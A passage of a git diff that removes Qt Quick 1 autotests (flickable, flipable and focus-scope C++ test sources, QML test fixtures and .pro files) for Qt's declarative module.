Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas, &moveEvent); - - moveEvent = QMouseEvent(QEvent::MouseMove, canvas->mapFromScene(QPoint(50, 70)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas, &moveEvent); - - moveEvent = QMouseEvent(QEvent::MouseMove, canvas->mapFromScene(QPoint(50, 60)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas, &moveEvent); - - QVERIFY(flick->isMoving() == false); - - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 60))); - - // verify that mouse clicks on other elements still work (QTBUG-20584) - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 10))); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 10))); - - QVERIFY(canvas->rootObject()->property("clicked").toBool() == true); -} - -void tst_qdeclarativeflickable::flickVelocity() -{ -#ifdef Q_WS_MAC - QSKIP("Producing flicks on Mac CI impossible due to timing problems"); -#endif - - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/flickable03.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1Flickable *flickable = qobject_cast(canvas->rootObject()); - QVERIFY(flickable != 0); - - // flick up - flick(canvas, QPoint(20,190), QPoint(20, 50), 200); - QVERIFY(flickable->verticalVelocity() > 0.0); - QTRY_VERIFY(flickable->verticalVelocity() == 0.0); - - // flick down - flick(canvas, QPoint(20,10), QPoint(20, 140), 200); - QVERIFY(flickable->verticalVelocity() < 0.0); - QTRY_VERIFY(flickable->verticalVelocity() == 0.0); - - delete canvas; -} - -void tst_qdeclarativeflickable::flick(QGraphicsView *canvas, const QPoint &from, const QPoint &to, int duration) -{ - const int pointCount = 5; - QPoint diff = to - from; - - // send press, five equally spaced moves, and release. - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(from)); - - for (int i = 0; i < pointCount; ++i) { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(from + (i+1)*diff/pointCount), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::qWait(duration/pointCount); - QCoreApplication::processEvents(); - } - - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(to)); -} - - -template -T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName) -{ - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QGraphicsObject *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - return static_cast(item); - } - item = findItem(item, objectName); - if (item) - return static_cast(item); - } - - return 0; -} - -QTEST_MAIN(tst_qdeclarativeflickable) - -#include "tst_qdeclarativeflickable.moc" diff --git a/tests/auto/qtquick1/qdeclarativeflipable/data/crash.qml b/tests/auto/qtquick1/qdeclarativeflipable/data/crash.qml deleted file mode 100644 index bc5229b529..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflipable/data/crash.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -Flipable { - transform: Rotation { - axis.y: 1 - axis.z: 0 - angle: 180 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflipable/data/flipable-abort.qml b/tests/auto/qtquick1/qdeclarativeflipable/data/flipable-abort.qml deleted file mode 100644 index 69ff4a2228..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflipable/data/flipable-abort.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - Flipable { - id: flipable - } - Rectangle { - visible: flipable.side == Flipable.Front - } -} diff --git a/tests/auto/qtquick1/qdeclarativeflipable/data/test-flipable.qml b/tests/auto/qtquick1/qdeclarativeflipable/data/test-flipable.qml deleted file mode 100644 index 02b69e0799..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflipable/data/test-flipable.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -Flipable { - id: flipable - width: 640; height: 480 - - front: Rectangle { anchors.fill: flipable } - back: Rectangle { anchors.fill: flipable } -} diff --git a/tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro b/tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro deleted file mode 100644 index eefb4d5902..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro +++ /dev/null @@ -1,12 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeflipable -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeflipable.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib -contains(QT_CONFIG,xcb):CONFIG+=insignificant_test # QTBUG-21012 fails on exit (X11-specific) diff --git a/tests/auto/qtquick1/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/qtquick1/qdeclarativeflipable/tst_qdeclarativeflipable.cpp deleted file mode 100644 index 2c0dbaa5de..0000000000 --- a/tests/auto/qtquick1/qdeclarativeflipable/tst_qdeclarativeflipable.cpp +++ /dev/null @@ -1,138 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativeflipable : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeflipable(); - -private slots: - void create(); - void checkFrontAndBack(); - void setFrontAndBack(); - - // below here task issues - void QTBUG_9161_crash(); - void QTBUG_8474_qgv_abort(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativeflipable::tst_qdeclarativeflipable() -{ -} - -void tst_qdeclarativeflipable::create() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-flipable.qml")); - QDeclarative1Flipable *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - delete obj; -} - -void tst_qdeclarativeflipable::checkFrontAndBack() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-flipable.qml")); - QDeclarative1Flipable *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QVERIFY(obj->front() != 0); - QVERIFY(obj->back() != 0); - delete obj; -} - -void tst_qdeclarativeflipable::setFrontAndBack() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-flipable.qml")); - QDeclarative1Flipable *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QVERIFY(obj->front() != 0); - QVERIFY(obj->back() != 0); - - QString message = c.url().toString() + ":3:1: QML Flipable: front is a write-once property"; - QTest::ignoreMessage(QtWarningMsg, qPrintable(message)); - obj->setFront(new QDeclarative1Rectangle()); - - message = c.url().toString() + ":3:1: QML Flipable: back is a write-once property"; - QTest::ignoreMessage(QtWarningMsg, qPrintable(message)); - obj->setBack(new QDeclarative1Rectangle()); - delete obj; -} - -void tst_qdeclarativeflipable::QTBUG_9161_crash() -{ - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/crash.qml")); - QGraphicsObject *root = canvas->rootObject(); - QVERIFY(root != 0); - canvas->show(); - delete canvas; -} - -void tst_qdeclarativeflipable::QTBUG_8474_qgv_abort() -{ - QDeclarativeView *canvas = new QDeclarativeView; - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/flipable-abort.qml")); - QGraphicsObject *root = canvas->rootObject(); - QVERIFY(root != 0); - canvas->show(); - delete canvas; -} - -QTEST_MAIN(tst_qdeclarativeflipable) - -#include "tst_qdeclarativeflipable.moc" diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/chain.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/chain.qml deleted file mode 100644 index a40bc2cdd6..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/chain.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - width:300; height:400 - - property bool focus1: root.activeFocus - property bool focus2: item1.activeFocus - property bool focus3: fs1.activeFocus - property bool focus4: fs2.activeFocus - property bool focus5: theItem.activeFocus - - Item { - id: item1 - FocusScope { - id: fs1 - focus: true - FocusScope { - id: fs2 - focus: true - Item { - id: theItem - focus: true - } - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/forceActiveFocus.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/forceActiveFocus.qml deleted file mode 100644 index 6c39d4a432..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/forceActiveFocus.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - objectName: "root" - FocusScope { - objectName: "scope" - Item { - objectName: "item-a1" - FocusScope { - objectName: "scope-a" - Item { - objectName: "item-a2" - } - } - } - Item { - objectName: "item-b1" - FocusScope { - objectName: "scope-b" - Item { - objectName: "item-b2" - } - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/forcefocus.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/forcefocus.qml deleted file mode 100644 index 708e899146..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/forcefocus.qml +++ /dev/null @@ -1,81 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 800; height: 600 - - FocusScope { - focus: true - - FocusScope { - id: firstScope - objectName: "item0" - focus: true - - Rectangle { - height: 120; width: 420 - - color: "transparent" - border.width: 5; border.color: firstScope.activeFocus?"blue":"black" - - Rectangle { - id: item1; objectName: "item1" - x: 10; y: 10; width: 100; height: 100; color: "green" - border.width: 5; border.color: activeFocus?"blue":"black" - focus: true - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - - Rectangle { - id: item2; objectName: "item2" - x: 310; y: 10; width: 100; height: 100; color: "green" - border.width: 5; border.color: activeFocus?"blue":"black" - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - } - } - - FocusScope { - id: secondScope - objectName: "item3" - - Rectangle { - y: 160; height: 120; width: 420 - - color: "transparent" - border.width: 5; border.color: secondScope.activeFocus?"blue":"black" - - Rectangle { - id: item4; objectName: "item4" - x: 10; y: 10; width: 100; height: 100; color: "green" - border.width: 5; border.color: activeFocus?"blue":"black" - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - - Rectangle { - id: item5; objectName: "item5" - x: 310; y: 10; width: 100; height: 100; color: "green" - border.width: 5; border.color: activeFocus?"blue":"black" - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - } - } - } - Keys.onDigit4Pressed: item4.focus = true - Keys.onDigit5Pressed: item5.forceActiveFocus() -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/qtBug13380.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/qtBug13380.qml deleted file mode 100644 index 1784202e77..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/qtBug13380.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400 - - property bool showRect: false - onShowRectChanged: if (showRect) rect.visible = true - property bool noFocus: !fs2.activeFocus - - FocusScope { - id: fs1 - focus: true - } - Rectangle { - id: rect - visible: false - FocusScope { - id: fs2 - Rectangle { - focus: true - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/signalEmission.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/signalEmission.qml deleted file mode 100644 index 5850791704..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/signalEmission.qml +++ /dev/null @@ -1,33 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - - FocusScope { - focus: true - Rectangle { - objectName: "item1" - color: "blue" - onFocusChanged: focus ? color = "red" : color = "blue" - } - Rectangle { - objectName: "item2" - color: "blue" - onFocusChanged: focus ? color = "red" : color = "blue" - } - } - - FocusScope { - Rectangle { - objectName: "item3" - color: "blue" - onFocusChanged: focus ? color = "red" : color = "blue" - } - Rectangle { - objectName: "item4" - color: "blue" - onFocusChanged: focus ? color = "red" : color = "blue" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/test.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/test.qml deleted file mode 100644 index 5983c19015..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/test.qml +++ /dev/null @@ -1,77 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 800 - height: 600 - - Keys.onDigit9Pressed: console.log("Error - Root") - - FocusScope { - id: myScope - objectName: "item0" - focus: true - - Keys.onDigit9Pressed: console.log("Error - FocusScope") - - Rectangle { - height: 120 - width: 420 - - color: "transparent" - border.width: 5 - border.color: myScope.activeFocus?"blue":"black" - - Rectangle { - id: item1; objectName: "item1" - x: 10; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: activeFocus?"blue":"black" - Keys.onDigit9Pressed: console.debug("Top Left"); - KeyNavigation.right: item2 - focus: true - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - - Rectangle { - id: item2; objectName: "item2" - x: 310; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: activeFocus?"blue":"black" - KeyNavigation.left: item1 - Keys.onDigit9Pressed: console.log("Top Right"); - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - } - KeyNavigation.down: item3 - } - - Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box indicates active focus\nUse arrow keys to navigate\nPress \"9\" to print currently focused item" } - - Rectangle { - id: item3; objectName: "item3" - x: 10; y: 300 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: activeFocus?"blue":"black" - - Keys.onDigit9Pressed: console.log("Bottom Left"); - KeyNavigation.up: myScope - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/test2.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/test2.qml deleted file mode 100644 index 8c0b3b4267..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/test2.qml +++ /dev/null @@ -1,39 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 800 - height: 600 - - Text { text: "All five rectangles should be red" } - - FocusScope { - y: 100 - focus: true; objectName: "item1" - Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true; objectName: "item2" - Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true; objectName: "item3" - Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true; objectName: "item4" - Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" } - - FocusScope { - y: 100 - focus: true; objectName: "item5" - Rectangle { width: 50; height: 50; color: parent.activeFocus?"red":"blue" } - } - } - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/test3.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/test3.qml deleted file mode 100644 index 2e025cb6cc..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/test3.qml +++ /dev/null @@ -1,52 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 800 - height: 600 - - ListModel { - id: model - ListElement { name: "1" } - ListElement { name: "2" } - ListElement { name: "3" } - ListElement { name: "4" } - ListElement { name: "5" } - ListElement { name: "6" } - ListElement { name: "7" } - ListElement { name: "8" } - ListElement { name: "9" } - } - - Component { - id: verticalDelegate - FocusScope { - id: root - width: 50; height: 50; - Keys.onDigit9Pressed: console.log("Error - " + name) - Rectangle { - focus: true - Keys.onDigit9Pressed: console.log(name) - width: 50; height: 50; - color: root.ListView.isCurrentItem?"red":"green" - Text { text: name; anchors.centerIn: parent } - } - } - } - - ListView { - width: 800; height: 50; orientation: "Horizontal" - focus: true - model: model - delegate: verticalDelegate - preferredHighlightBegin: 100 - preferredHighlightEnd: 100 - highlightRangeMode: "StrictlyEnforceRange" - } - - - Text { - y: 100; x: 50 - text: "Currently selected element should be red\nPressing \"9\" should print the number of the currently selected item\nBe sure to scroll all the way to the right, pause, and then all the way to the left." - } -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/test4.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/test4.qml deleted file mode 100644 index 7192dee6db..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/test4.qml +++ /dev/null @@ -1,76 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 800 - height: 600 - - Keys.onDigit9Pressed: console.log("Error - Root") - - FocusScope { - id: myScope - - Keys.onDigit9Pressed: console.log("Error - FocusScope") - - Rectangle { - objectName: "item0" - height: 120 - width: 420 - - color: "transparent" - border.width: 5 - border.color: myScope.activeFocus?"blue":"black" - - Rectangle { - id: item1; objectName: "item1" - x: 10; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: activeFocus?"blue":"black" - Keys.onDigit9Pressed: console.log("Error - Top Left"); - KeyNavigation.right: item2 - focus: true - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - - Rectangle { - id: item2; objectName: "item2" - x: 310; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: activeFocus?"blue":"black" - KeyNavigation.left: item1 - Keys.onDigit9Pressed: console.log("Error - Top Right"); - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - } - KeyNavigation.down: item3 - } - - Text { x:100; y:170; text: "There should be no blue borders, or red squares.\nPressing \"9\" should do nothing.\nArrow keys should have no effect." } - - Rectangle { - id: item3; objectName: "item3" - x: 10; y: 300 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: activeFocus?"blue":"black" - - Keys.onDigit9Pressed: console.log("Error - Bottom Left"); - KeyNavigation.up: myScope - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/data/test5.qml b/tests/auto/qtquick1/qdeclarativefocusscope/data/test5.qml deleted file mode 100644 index 01dada5d37..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/data/test5.qml +++ /dev/null @@ -1,84 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 800 - height: 600 - - Keys.onReturnPressed: console.log("Error - Root") - - FocusScope { - id: myScope - objectName: "item0" - focus: true - - Keys.onReturnPressed: console.log("Error - FocusScope") - - Rectangle { - height: 120 - width: 420 - - color: "transparent" - border.width: 5 - border.color: myScope.activeFocus?"blue":"black" - - Rectangle { - x: 10; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: item1.activeFocus?"blue":"black" - } - - TextEdit { - id: item1; objectName: "item1" - x: 20; y: 20 - width: 90; height: 90 - color: "white" - font.pixelSize: 20 - Keys.onReturnPressed: console.log("Top Left"); - KeyNavigation.right: item2 - focus: true - wrapMode: TextEdit.WordWrap - text: "Box 1" - } - - Rectangle { - id: item2; objectName: "item2" - x: 310; y: 10 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: activeFocus?"blue":"black" - KeyNavigation.left: item1 - Keys.onReturnPressed: console.log("Top Right"); - - Rectangle { - width: 50; height: 50; anchors.centerIn: parent - color: parent.activeFocus?"red":"transparent" - } - } - } - KeyNavigation.down: item3 - } - - Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box or flashing cursor indicates active focus\nUse arrow keys to navigate\nPress Ctrl-Return to print currently focused item" } - - Rectangle { - x: 10; y: 300 - width: 100; height: 100; color: "green" - border.width: 5 - border.color: item3.activeFocus?"blue":"black" - } - - TextEdit { - id: item3; objectName: "item3" - x: 20; y: 310 - width: 90; height: 90 - color: "white" - font.pixelSize: 20 - text: "Box 3" - - Keys.onReturnPressed: console.log("Bottom Left"); - KeyNavigation.up: myScope - wrapMode: TextEdit.WordWrap - } -} diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro b/tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro deleted file mode 100644 index 67bd8ae6d4..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro +++ /dev/null @@ -1,9 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativefocusscope -SOURCES += tst_qdeclarativefocusscope.cpp -macx:CONFIG -= app_bundle - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib -CONFIG+=insignificant_test # QTBUG-21013 unstable diff --git a/tests/auto/qtquick1/qdeclarativefocusscope/tst_qdeclarativefocusscope.cpp b/tests/auto/qtquick1/qdeclarativefocusscope/tst_qdeclarativefocusscope.cpp deleted file mode 100644 index a311a84603..0000000000 --- a/tests/auto/qtquick1/qdeclarativefocusscope/tst_qdeclarativefocusscope.cpp +++ /dev/null @@ -1,513 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativefocusscope : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativefocusscope() {} - - template - T *findItem(QGraphicsObject *parent, const QString &id); - -private slots: - void basic(); - void nested(); - void noFocus(); - void textEdit(); - void forceFocus(); - void noParentFocus(); - void signalEmission(); - void qtBug13380(); - void forceActiveFocus(); -}; - -/* - Find an item with the specified id. -*/ -template -T *tst_qdeclarativefocusscope::findItem(QGraphicsObject *parent, const QString &objectName) -{ - const QMetaObject &mo = T::staticMetaObject; - QList children = parent->childItems(); - for (int i = 0; i < children.count(); ++i) { - QDeclarativeItem *item = qobject_cast(children.at(i)->toGraphicsObject()); - if (item) { - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - return static_cast(item); - } - item = findItem(item, objectName); - if (item) - return static_cast(item); - } - } - return 0; -} - -void tst_qdeclarativefocusscope::basic() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test.qml")); - - QDeclarative1FocusScope *item0 = findItem(view->rootObject(), QLatin1String("item0")); - QDeclarative1Rectangle *item1 = findItem(view->rootObject(), QLatin1String("item1")); - QDeclarative1Rectangle *item2 = findItem(view->rootObject(), QLatin1String("item2")); - QDeclarative1Rectangle *item3 = findItem(view->rootObject(), QLatin1String("item3")); - QVERIFY(item0 != 0); - QVERIFY(item1 != 0); - QVERIFY(item2 != 0); - QVERIFY(item3 != 0); - - view->show(); - qApp->setActiveWindow(view); - - QTest::qWaitForWindowShown(view); - - QTRY_VERIFY(view->hasFocus()); - QVERIFY(view->scene()->hasFocus()); - QVERIFY(item0->hasActiveFocus() == true); - QVERIFY(item1->hasActiveFocus() == true); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_Right); - QVERIFY(item0->hasActiveFocus() == true); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == true); - QVERIFY(item3->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_Down); - QVERIFY(item0->hasActiveFocus() == false); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == true); - - delete view; -} - -void tst_qdeclarativefocusscope::nested() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test2.qml")); - - QDeclarative1FocusScope *item1 = findItem(view->rootObject(), QLatin1String("item1")); - QDeclarative1FocusScope *item2 = findItem(view->rootObject(), QLatin1String("item2")); - QDeclarative1FocusScope *item3 = findItem(view->rootObject(), QLatin1String("item3")); - QDeclarative1FocusScope *item4 = findItem(view->rootObject(), QLatin1String("item4")); - QDeclarative1FocusScope *item5 = findItem(view->rootObject(), QLatin1String("item5")); - QVERIFY(item1 != 0); - QVERIFY(item2 != 0); - QVERIFY(item3 != 0); - QVERIFY(item4 != 0); - QVERIFY(item5 != 0); - - view->show(); - qApp->setActiveWindow(view); - - QTest::qWaitForWindowShown(view); - - QTRY_VERIFY(view->hasFocus()); - QVERIFY(view->scene()->hasFocus()); - - QVERIFY(item1->hasActiveFocus() == true); - QVERIFY(item2->hasActiveFocus() == true); - QVERIFY(item3->hasActiveFocus() == true); - QVERIFY(item4->hasActiveFocus() == true); - QVERIFY(item5->hasActiveFocus() == true); - delete view; -} - -void tst_qdeclarativefocusscope::noFocus() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test4.qml")); - - QDeclarative1Rectangle *item0 = findItem(view->rootObject(), QLatin1String("item0")); - QDeclarative1Rectangle *item1 = findItem(view->rootObject(), QLatin1String("item1")); - QDeclarative1Rectangle *item2 = findItem(view->rootObject(), QLatin1String("item2")); - QDeclarative1Rectangle *item3 = findItem(view->rootObject(), QLatin1String("item3")); - QVERIFY(item0 != 0); - QVERIFY(item1 != 0); - QVERIFY(item2 != 0); - QVERIFY(item3 != 0); - - view->show(); - qApp->setActiveWindow(view); - - QTest::qWaitForWindowShown(view); - - QTRY_VERIFY(view->hasFocus()); - QVERIFY(view->scene()->hasFocus()); - QVERIFY(item0->hasActiveFocus() == false); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_Right); - QVERIFY(item0->hasActiveFocus() == false); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - - QTest::keyClick(view, Qt::Key_Down); - QVERIFY(item0->hasActiveFocus() == false); - QVERIFY(item1->hasActiveFocus() == false); - QVERIFY(item2->hasActiveFocus() == false); - QVERIFY(item3->hasActiveFocus() == false); - - delete view; -} - -void tst_qdeclarativefocusscope::textEdit() -{ - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/test5.qml")); - - QDeclarative1FocusScope *item0 = findItem(view->rootObject(), QLatin1String("item0")); - QDeclarative1TextEdit *item1 = findItem(view->rootObject(), QLatin1String("item1")); - QDeclarative1Rectangle *item2 = findItem(view->rootObject(), QLatin1String("item2")); - QDeclarative1TextEdit *item3 = findItem(view->rootObject(), QLatin1String("item3")); - QVERIFY(item0 != 0); - QVERIFY(item1 != 0); - QVERIFY(item2 != 0); - QVERIFY(item3 != 0); - - view->show(); - qApp->setActiveWindow(view); - 